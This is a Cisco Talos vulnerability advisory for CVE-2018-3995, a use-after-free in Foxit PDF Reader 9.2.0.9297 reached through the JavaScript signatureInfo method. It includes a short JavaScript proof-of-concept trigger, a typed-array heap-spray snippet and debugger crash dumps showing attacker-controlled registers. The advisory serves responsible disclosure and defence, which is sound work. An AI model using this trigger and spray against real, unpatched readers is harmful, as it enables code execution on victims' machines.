Talos Vulnerability Report

TALOS-2018-0663

Foxit PDF Reader JavaScript Field object signatureInfo remote code execution vulnerability

October 1, 2018
CVE Number

CVE-2018-3995

Summary

An exploitable use-after-free vulnerability exists in the JavaScript engine of Foxit Software’s PDF Reader, version 9.2.0.9297. A specially crafted PDF document can trigger a previously freed object in memory to be reused, resulting in arbitrary code execution. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability.

Tested Versions

Foxit Software Foxit PDF Reader 9.2.0.9297.

Product URLs

https://www.foxitsoftware.com/products/pdf-reader/

CVSSv3 Score

8.0 - CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-416: Use After Free

Details

Foxit PDF Reader is one of the most popular PDF document readers, and has a widespread user base. It aims to have feature parity with Adobe’s Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface.

When executing embedded JavaScript code, a document can be closed, which essentially frees a lot of used objects, but the JavaScript can continue to execute. Accessing a variable which keeps a reference to a stale object can lead to a use-after-free condition.

This particular vulnerability lies in saving a reference to SignatureInfo object by invoking signatureInfo method of a form field. When the document is closed, objects are freed and accessing a stale reference results in a use-after-free condition, like in the following code:

var tmp  = app.activeDocs[0].getField('mydata').signatureInfo();  // save reference to SignatureInfo
app.activeDocs[0].closeDoc(); // close and free objects
tmp["docValidity"].toString(); // access property of stale reference and cause use-after-free

Opening this proof-of-concept PDF document in Foxit Reader with PageHeap enabled results in the following crash:

(fa0.16e0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=12aa4fd0 ebx=0379786c ecx=11911fd8 edx=00000000 esi=11911fd8 edi=12cf0ff8
eip=00cc762d esp=002ae67c ebp=002ae684 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210202
FoxitReader!CryptUIWizExport+0x17a2ad:
00cc762d 8b480c          mov     ecx,dword ptr [eax+0Ch] ds:0023:12aa4fdc=????????
0:000> dd eax
12aa4fd0  ???????? ???????? ???????? ????????
12aa4fe0  ???????? ???????? ???????? ????????
12aa4ff0  ???????? ???????? ???????? ????????
12aa5000  ???????? ???????? ???????? ????????
12aa5010  ???????? ???????? ???????? ????????
12aa5020  ???????? ???????? ???????? ????????
12aa5030  ???????? ???????? ???????? ????????
12aa5040  ???????? ???????? ???????? ????????
0:000> !heap -p -a eax
 
0:000> k 4
 # ChildEBP RetAddr  
WARNING: Stack unwind information not available. Following frames may be wrong.
00 002ae684 00cc9ab0 FoxitReader!CryptUIWizExport+0x17a2ad
01 002ae6a0 00cbaa0f FoxitReader!CryptUIWizExport+0x17c730
02 002ae6f8 01c0f2e2 FoxitReader!CryptUIWizExport+0x16d68f
03 002ae738 01c5ca87 FoxitReader!FXJSE_GetClass+0x302

Analyzing the heap state clearly shows that eax points into a freed memory region.

We can abuse typed arrays to try and fill the memory of the freed object. A simple spray of Int32Array typed array of size 0x30 sufices in this case:

global.arr = new Array(0x100);
for (var i = 0; i < global.arr.length; i++){
global.arr[i] = new ArrayBuffer(0x30 );
var int32View = new Int32Array(global.arr[i]);


for(var j = 0; j <int32View.length ; j++){
  int32View[j] = 0xeaeaeaea;
  }

}

Instructions immediately following the point of crash are:

FoxitReader!CryptUIWizExport+0x17a2ad:
00cc762d 8b480c          mov     ecx,dword ptr [eax+0Ch]
00cc7630 85c9            test    ecx,ecx
00cc7632 741b            je      FoxitReader!CryptUIWizExport+0x17a2cf (00cc764f)
00cc7634 8d45f8          lea     eax,[ebp-8]
00cc7637 c745f8c09b3c03  mov     dword ptr [ebp-8],offset FoxitReader!std::basic_ostream<char,std::char_traits<char> >::`vbtable'+0x9fec (033c9bc0)
00cc763e 50              push    eax
00cc763f c745fc01000000  mov     dword ptr [ebp-4],1
00cc7646 e8d4e58500      call    FoxitReader!safe_vsnprintf+0x14aaf (01525c1f)
00cc764b 8be5            mov     esp,ebp
00cc764d 5d              pop     ebp
00cc764e c3              ret
00cc764f 33c0            xor     eax,eax
00cc7651 8be5            mov     esp,ebp
00cc7653 5d              pop     ebp
00cc7654 c3              ret

We control the contents of ecx in the first instruction since we control the contents of the reused memory. This leads to the following crash if it’s non-zero:

(134c.be0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000056 ebx=0453786c ecx=00000056 edx=00000000 esi=eaeaeafe edi=08aacdb0
eip=024ef071 esp=0030e5d4 ebp=0030e5d8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210246
FoxitReader!safe_vsnprintf+0x23df01:
024ef071 f77608          div     eax,dword ptr [esi+8] ds:0023:eaeaeb06=????????
0:000> k 4
 # ChildEBP RetAddr  
WARNING: Stack unwind information not available. Following frames may be wrong.
00 0030e5d8 024ef53c FoxitReader!safe_vsnprintf+0x23df01
01 0030e5ec 022c5dba FoxitReader!safe_vsnprintf+0x23e3cc
02 0030e604 022c5c2a FoxitReader!safe_vsnprintf+0x14c4a
03 0030e610 01a6764b FoxitReader!safe_vsnprintf+0x14aba

By further manipulating memory layout and contents of reclaimed memory, the above division can succeed and then lead to more direct instruction pointer control ultimately leading to arbitrary code execution.

Timeline

2018-09-10 - Vendor Disclosure
2018-09-28 - Vendor patched
2018-10-01 - Public Release

Credit

Discovered by Aleksandar Nikolic of Cisco Talos.